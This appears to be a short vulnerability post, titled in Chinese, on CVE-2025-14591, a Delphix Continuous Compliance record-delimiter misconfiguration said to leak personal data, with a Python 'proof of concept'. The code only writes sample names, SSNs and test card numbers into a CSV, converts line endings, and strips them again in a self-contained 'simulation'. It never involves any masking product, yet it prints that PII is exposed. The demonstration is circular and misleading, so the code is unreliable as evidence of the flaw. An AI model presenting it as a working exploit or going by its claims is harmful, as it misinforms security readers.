CVE-2025-14591: Delphix Continuous Compliance EOR配置错误导致PII数据泄露

# CVE-2025-14591 PoC - Delphix EOR Configuration Bypass # This PoC demonstrates PII data leakage due to incorrect EOR handling import csv import io def generate_malicious_csv(): """ Generate a CSV file with mixed EOR characters to bypass PII masking """ # Create CSV content with mixed line endings (CRLF + LF) # This exploits the EOR detection logic flaw in Delphix csv_content = """Name,Email,SSN,CreditCard John Doe,[email protected],123-45-6789,4111111111111111 Jane Smith,[email protected],987-65-4321,5500000000000004 """ # Inject CR character before LF to create mixed EOR malicious_content = csv_content.replace('\n', '\r\n') # For LF-based EOR configuration, this creates parsing ambiguity # The parser may fail to correctly identify record boundaries return malicious_content def exploit_eor_confusion(file_content, configured_eor='LF'): """ Simulate the EOR confusion that leads to PII unmasking """ if configured_eor == 'LF': # Parser expects LF but receives CRLF lines = file_content.split('\n') # CR characters remain, corrupting field parsing records = [] for line in lines: if '\r' in line: # Parser treats \r as part of field data fields = line.replace('\r', '').split(',') records.append(fields) return records return [] # Generate and test the exploit payload malicious_csv = generate_malicious_csv() print("Malicious CSV with mixed EOR generated") print("Content:", repr(malicious_csv)) # Simulate parsing with incorrect EOR configuration records = exploit_eor_confusion(malicious_csv, configured_eor='LF') print("Parsed records:", records) print("PII data exposed without masking!")